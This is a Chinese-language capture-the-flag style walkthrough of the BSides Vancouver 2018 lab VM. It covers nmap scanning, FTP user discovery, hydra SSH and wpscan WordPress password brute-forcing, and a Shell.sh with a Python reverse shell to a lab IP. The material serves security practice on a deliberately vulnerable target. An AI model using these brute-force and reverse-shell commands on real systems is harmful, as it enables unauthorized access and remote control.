Hacking Bsides Vancouver 2018 walkthrough
概述：
Name: BSides Vancouver: 2018 (Workshop)
Date release: 21 Mar 2018
Author: abatchy
Series: BSides Vancouver
Web page: https://www.abatchy.com/projects
下载：
https://www.dropbox.com/s/j3r9l7kaydwsdm9/BSides-Vancouver-2018-Workshop.ova
方法1：主机侧面攻击
扫描探测主机IP：
主机信息详细探测
╰─ nmap -v -p1-65535 -sV -O -sT 10.10.202.130
….
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:E9:7F:EE (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 0.672 days (since Wed Mar 6 19:54:37 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=249 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Ftp 匿名登录尝试
收集到一个用户的备份信息
╰─ cat users.txt.bk
abatchy
john
mai
anne
doomguy
SSH尝试登录尝试
经过尝试，只有用户anne开启了密码登录，我们接下来尝试暴力破解
字典：
git clone https://github.com/danielmiessler/SecLists.git
Kail linux: /usr/share/wordlists/rockyou.txt
╰─ hydra -l anne -P /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt 10.10.202.130 ssh
╰─ hydra -l anne -P /usr/share/wordlists/rockyou.txt 10.10.202.130 ssh
方法2：从WEB入手
目录探测dirb
╰─ dirb http://10.10.202.130/
使用WPSCAN 进行扫描
# wpscan --update
# wpscan --url http://10.10.202.130/backup_wordpress/ --enumerate u #用户枚举
进行爆破
╰─ wpscan --url http://10.10.202.131/backup_wordpress/ --wordlist /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt --username john
进行提权
./LinEnum.sh >> LinEnum.log
Shell.sh
#!/bin/bash
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.10.202.136",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
方法3：msf
提权同上，计划任务提权
